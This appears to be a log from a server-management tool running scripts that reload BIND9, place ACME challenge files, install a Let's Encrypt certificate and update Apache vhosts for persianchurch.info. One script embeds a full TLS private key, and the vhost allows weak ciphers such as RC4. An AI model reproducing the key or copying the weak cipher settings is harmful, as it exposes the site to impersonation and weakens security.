chmod 755 /tmp/pkp808158; /tmp/pkp808158; rm /tmp/pkp808158

2025-12-23 17:44:12: 




2025-12-23 17:44:12: 

PUT: /tmp/pkp504452

#!/bin/bash

if [ -f "/usr/bin/yum" ]; then

	echo status=not implemented
	
elif [ -f "/usr/bin/apt-get" ]; then

	systemctl is-active --quiet bind9.service
	retVal=$?
	if [ $retVal -ne 0 ]; then
			echo "status=Starting BIND9"
			systemctl start bind9.service
	else
			echo "status=Reloading BIND9"
			systemctl reload bind9.service
	fi

fi


2025-12-23 17:44:12: 

chmod 755 /tmp/pkp504452; /tmp/pkp504452; rm /tmp/pkp504452

2025-12-23 17:44:13: 


status=Reloading BIND9


2025-12-23 17:44:13: Establishing a connection
2025-12-23 17:44:15: 

PUT: /tmp/pkp541151

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '954ebedf55cc0740293342780846a6cd'
ZONE_NAME = 'persianchurch.info'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2025-12-23 17:44:15: 

chmod 755 /tmp/pkp541151; /tmp/pkp541151; rm /tmp/pkp541151

2025-12-23 17:44:16: 




2025-12-23 17:44:16: 

PUT: /tmp/pkp790684

#!/bin/bash

if [ -f "/usr/bin/yum" ]; then

	echo status=not implemented
	
elif [ -f "/usr/bin/apt-get" ]; then

	systemctl is-active --quiet bind9.service
	retVal=$?
	if [ $retVal -ne 0 ]; then
			echo "status=Starting BIND9"
			systemctl start bind9.service
	else
			echo "status=Reloading BIND9"
			systemctl reload bind9.service
	fi

fi


2025-12-23 17:44:16: 

chmod 755 /tmp/pkp790684; /tmp/pkp790684; rm /tmp/pkp790684

2025-12-23 17:44:16: 


status=Reloading BIND9


2025-12-23 17:44:36: Establishing a connection
2025-12-23 17:44:38: Establishing a connection
2025-12-23 17:44:39: 

PUT: /tmp/pkp860404

#!/bin/bash
if [ -d "/var/www/persianchurch_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-23 17:44:40: 

chmod 755 /tmp/pkp860404; /tmp/pkp860404; rm /tmp/pkp860404

2025-12-23 17:44:40: 


1


2025-12-23 17:44:42: Establishing a connection
2025-12-23 17:44:43: 

PUT: /tmp/pkp352370

#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
cat > toBYSXO1arSpJTHOd9ZR0B5Nf7f5rFgy89LGYzuggEQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
toBYSXO1arSpJTHOd9ZR0B5Nf7f5rFgy89LGYzuggEQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 toBYSXO1arSpJTHOd9ZR0B5Nf7f5rFgy89LGYzuggEQ
cat > jyo7uPUes_qhyi10Ks66p8bahTMDEQLxqYfv4Kbm8Fs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jyo7uPUes_qhyi10Ks66p8bahTMDEQLxqYfv4Kbm8Fs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 jyo7uPUes_qhyi10Ks66p8bahTMDEQLxqYfv4Kbm8Fs


2025-12-23 17:44:44: 

chmod 755 /tmp/pkp352370; /tmp/pkp352370; rm /tmp/pkp352370

2025-12-23 17:44:44: 




2025-12-23 17:44:53: Establishing a connection
2025-12-23 17:44:54: 

PUT: /tmp/pkp806626

#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
rm toBYSXO1arSpJTHOd9ZR0B5Nf7f5rFgy89LGYzuggEQ
rm jyo7uPUes_qhyi10Ks66p8bahTMDEQLxqYfv4Kbm8Fs


2025-12-23 17:44:55: 

chmod 755 /tmp/pkp806626; /tmp/pkp806626; rm /tmp/pkp806626

2025-12-23 17:44:55: 




2025-12-23 17:44:55: Establishing a connection
2025-12-23 17:44:56: 

PUT: /tmp/pkp325261

#!/bin/bash
temp_file=$(mktemp)
TARGET=66fe979384f486c79f8519a848115361.crt

cat > $temp_file <<'endmsg'
12:36:5c:47:ed:2b:7d:f4:3e:72:8a:5f:60:4c:32:08

-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBghSTwKQzRmvBt4sJz7mIyDvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjIzMTY0NjIxWhcNMjYwMzIzMTY0NjIwWjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDwfUSK0urHZ/mKqO/3vnkjHL6TtwAyXGsw0UyhVRx448vCaFA23yoh2SfG
wyLqrZku9SIo7nmmshlLj/skizEXmBy4MgcK7AKJ089+lAq/c3oknIrSf2bfrZ8f
kFkmxT/JI7ryxDdzjY3e/uSydBxaeqFIMnVTckwliL5nUJiuYrtLdSr08rvkzaFr
ThP3go6jC4y7zqCE3Pim0dsFhS73ese1ELQWmt655z7P4DkZpYmL9ZH1P/rWsS/z
3YoLiq1ziatRBJhZOYrnWCe1zp08+vZWgp30GbZ//6yMmgGMStBFgTo+LQe6WwJK
r1LzLuaupMZjXdvlItUbMB5sa9rzAgMBAAGjggJEMIICQDAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFBg8RkyvnlYYFGaoI4bmxGk47UMjMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIIScGVyc2lhbmNodXJjaC5p
bmZvghZ3d3cucGVyc2lhbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTEyLmNy
bDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB3AGQRxGykEuyniRyiAi4AvKtPKAfU
HjUnq+r+1QPJfc3wAAABm0xQVmQAAAQDAEgwRgIhANQXyPykgDKHYJjfIw1ttqq1
0iZAMhFq/KC+/4xsX+EpAiEAmfSPkXioNHugLC5lRfi1DghcuaevY3IzUo8TEDe6
cQ4AfgDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZtMUFgrAAgA
AAUALQOMKgQDAEcwRQIgB6Io9blqDcmze9uFuWUKnHp1r61EsY4s9Ja3EB/zNCwC
IQD3C2o1505ed+IEvDdm+hupVOr+Y6+nfr5IDtej0NyXgzANBgkqhkiG9w0BAQsF
AAOCAQEArvnb5zvdgS4heVQZr3TLQf2plHudm71vWafDK+DVbrlrivDPekhKyJk5
k+B6eGkb4nRE29KjyIJbxQwKtOYdCbHyi8Ovf9BBZAqgR96GXBYmBl4qL66JQdDN
BJrRSCnVEsxHZziCv2TRqKVQ3ZjcZ68v+bHl11G3siekYOwuxRxEsipuyLFzxCQc
lPZCUxsgoyIkC4aSp4wj7Gsna9tm35/Uyt05RKfhOro/BygMrZP84f2zpkq7UE/q
MQBWANHQgO1cXTJ2cNPoh5Z7u9q+7xM+RfrdQq8yvXnwMyBHfnCQAfQZ3jEMyv/h
4mZk/x1O4rbn6fmBSJJrRKiV5qqMBw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDwfUSK0urHZ/mK
qO/3vnkjHL6TtwAyXGsw0UyhVRx448vCaFA23yoh2SfGwyLqrZku9SIo7nmmshlL
j/skizEXmBy4MgcK7AKJ089+lAq/c3oknIrSf2bfrZ8fkFkmxT/JI7ryxDdzjY3e
/uSydBxaeqFIMnVTckwliL5nUJiuYrtLdSr08rvkzaFrThP3go6jC4y7zqCE3Pim
0dsFhS73ese1ELQWmt655z7P4DkZpYmL9ZH1P/rWsS/z3YoLiq1ziatRBJhZOYrn
WCe1zp08+vZWgp30GbZ//6yMmgGMStBFgTo+LQe6WwJKr1LzLuaupMZjXdvlItUb
MB5sa9rzAgMBAAECggEBAI5c2ZKEwU9CEcsvrr6uFu/eOEMhdhBZ/WpsvDxVMgGu
eBShw7p36W0YLB/RrH3YPnI50vsAESvJCohct4MukuUwuu+fTeP9SpNku9RmtuYW
6ht6QAPUP4XyNdxtixkUc2oSqLzFwz24cl+r7J5nddFp/sfKdwHrC4C8rlpir7+q
tP13Cav1D8yhRNfxP1jieS1MCE6+a+ykMYpjvqy0K/ntAa7nqYSL4oZx3OvigGgc
boPa+5X9IRViphCnpkn+pRUVZKSXNmQlqNOrul1G74cHMVoQxRyXNWjsAWVQbHo1
k4wEe+USiDDI6nbDq8w8m6zNU23H9vODqpMe0a+tkkECgYEA/GuH/PfTARH/UxBd
V6wE/OrFdAV1IXdj3sUfH4rg+LnxRkVjxc8lylpnFXZHB+XYpvUH3fbTQj7eX2LR
7MZLZZAWQphOIBbYsFK6hhmiyDVmkF+XsSM6UYrPcnQu4Bd4BTcBjWwm50rWOGMR
x078NqgpiyiP55rPUagZuAA0VIsCgYEA8+ZrWdYsjyEjO9g/Xo3VjgavDog4bszA
xirvMe87w7NvTGkKp56nyhwqb7uGlQkP6OVc7t+eHHrD04cBEEKnhMhGSh4EBgB4
k3cM3t1vqR9lXGABp/hbTZ/K/SRPdRwE01V/6cgH4wUrBqq8VLcRPxL1mDksC7Sm
/EPbzI2IGDkCgYEA+f1dXvHqLeMvJYrNhyi8f+fbyj4ldRGS/WvomQqoKG2vQNM0
LxIq8S97bEwJqQ6/9Qoz0mbDb5ZoEbwDACabQWjkQuwoY6t8y5QDWxBEoVgRzeZ+
i1bCSUPalBXw3ssfeLqzdOap2OPLKWkkkGnvbAo7qrBvZQdzUAHWBt9c9GUCgYEA
7+CHZGvIl1y4Enu0l4JXrr/UHC7Nkeu/DSfc6Peph+hKZpRI7mKUE6tv8UQ2MQ4g
n6Y1qJo2Hzx+rOPyn9NufqGav/qVanG8JQzJk8elsmg2gIvMFS+mXMn0EtRLcZqF
BHTqwTsCxrymfIAfihIi3C4Bbh2MvFaIhUMYQi5Q08ECgYEA1qD+RxVrD9RgCAOE
9UT7mv80imvbXT1m4iqZnXiN1NOgRYA9hPDB/82uyOhjOWhoNqaZdMLJhutYCOk6
H6gMiS1TkLF2wKaVQLEgD/Q2j5FYS7GNHWzZHAan5tSRIUpRTeD+EfL0cXmXSW26
NdsqEFMXH0Z5/VvOUgJebvJo+8I=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-23 17:44:57: 

chmod 755 /tmp/pkp325261; /tmp/pkp325261; rm /tmp/pkp325261

2025-12-23 17:44:57: 


dir=/etc/ssl/certs


2025-12-23 17:44:57: 

PUT: /tmp/pkp539124

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/persianchurch_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-23 17:44:58: 

chmod 755 /tmp/pkp539124; /tmp/pkp539124; rm /tmp/pkp539124

2025-12-23 17:44:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf 46

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-23 17:44:58: 

PUT: /tmp/pkp855273

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=persianchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/persianchurch_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/persianchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf= 1'
fi


2025-12-23 17:44:59: 

chmod 755 /tmp/pkp855273; /tmp/pkp855273; rm /tmp/pkp855273

2025-12-23 17:44:59: 




2025-12-23 17:44:59: 

PUT: /tmp/pkp933263

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-23 17:45:00: 

chmod 755 /tmp/pkp933263; /tmp/pkp933263; rm /tmp/pkp933263

2025-12-23 17:45:00: 


.


2025-12-23 17:45:00: Establishing a connection
2025-12-23 17:45:01: 

PUT: /tmp/pkp204905

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-23 17:45:02: 

chmod 755 /tmp/pkp204905; /tmp/pkp204905; rm /tmp/pkp204905

2025-12-23 17:45:02: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
                 alias www.carelinks.net
         port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
                 alias www.carelinks.org
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443                  is a NameVirtualHost
         default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
         port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
                 alias www.carelinks.net
         port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-12-23 17:45:02: 

PUT: /tmp/pkp584930

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/persianchurch_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 17:45:03: 

chmod 755 /tmp/pkp584930; /tmp/pkp584930; rm /tmp/pkp584930

2025-12-23 17:45:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf	1429

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-23 17:45:03: 

PUT: /tmp/pkp401903

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 17:45:04: 

chmod 755 /tmp/pkp401903; /tmp/pkp401903; rm /tmp/pkp401903

2025-12-23 17:45:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt	5406
12:36:5c:47:ed:2b:7d:f4:3e:72:8a:5f:60:4c:32:08

-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBghSTwKQzRmvBt4sJz7mIyDvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjIzMTY0NjIxWhcNMjYwMzIzMTY0NjIwWjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDwfUSK0urHZ/mKqO/3vnkjHL6TtwAyXGsw0UyhVRx448vCaFA23yoh2SfG
wyLqrZku9SIo7nmmshlLj/skizEXmBy4MgcK7AKJ089+lAq/c3oknIrSf2bfrZ8f
kFkmxT/JI7ryxDdzjY3e/uSydBxaeqFIMnVTckwliL5nUJiuYrtLdSr08rvkzaFr
ThP3go6jC4y7zqCE3Pim0dsFhS73ese1ELQWmt655z7P4DkZpYmL9ZH1P/rWsS/z
3YoLiq1ziatRBJhZOYrnWCe1zp08+vZWgp30GbZ//6yMmgGMStBFgTo+LQe6WwJK
r1LzLuaupMZjXdvlItUbMB5sa9rzAgMBAAGjggJEMIICQDAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFBg8RkyvnlYYFGaoI4bmxGk47UMjMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIIScGVyc2lhbmNodXJjaC5p
bmZvghZ3d3cucGVyc2lhbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTEyLmNy
bDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB3AGQRxGykEuyniRyiAi4AvKtPKAfU
HjUnq+r+1QPJfc3wAAABm0xQVmQAAAQDAEgwRgIhANQXyPykgDKHYJjfIw1ttqq1
0iZAMhFq/KC+/4xsX+EpAiEAmfSPkXioNHugLC5lRfi1DghcuaevY3IzUo8TEDe6
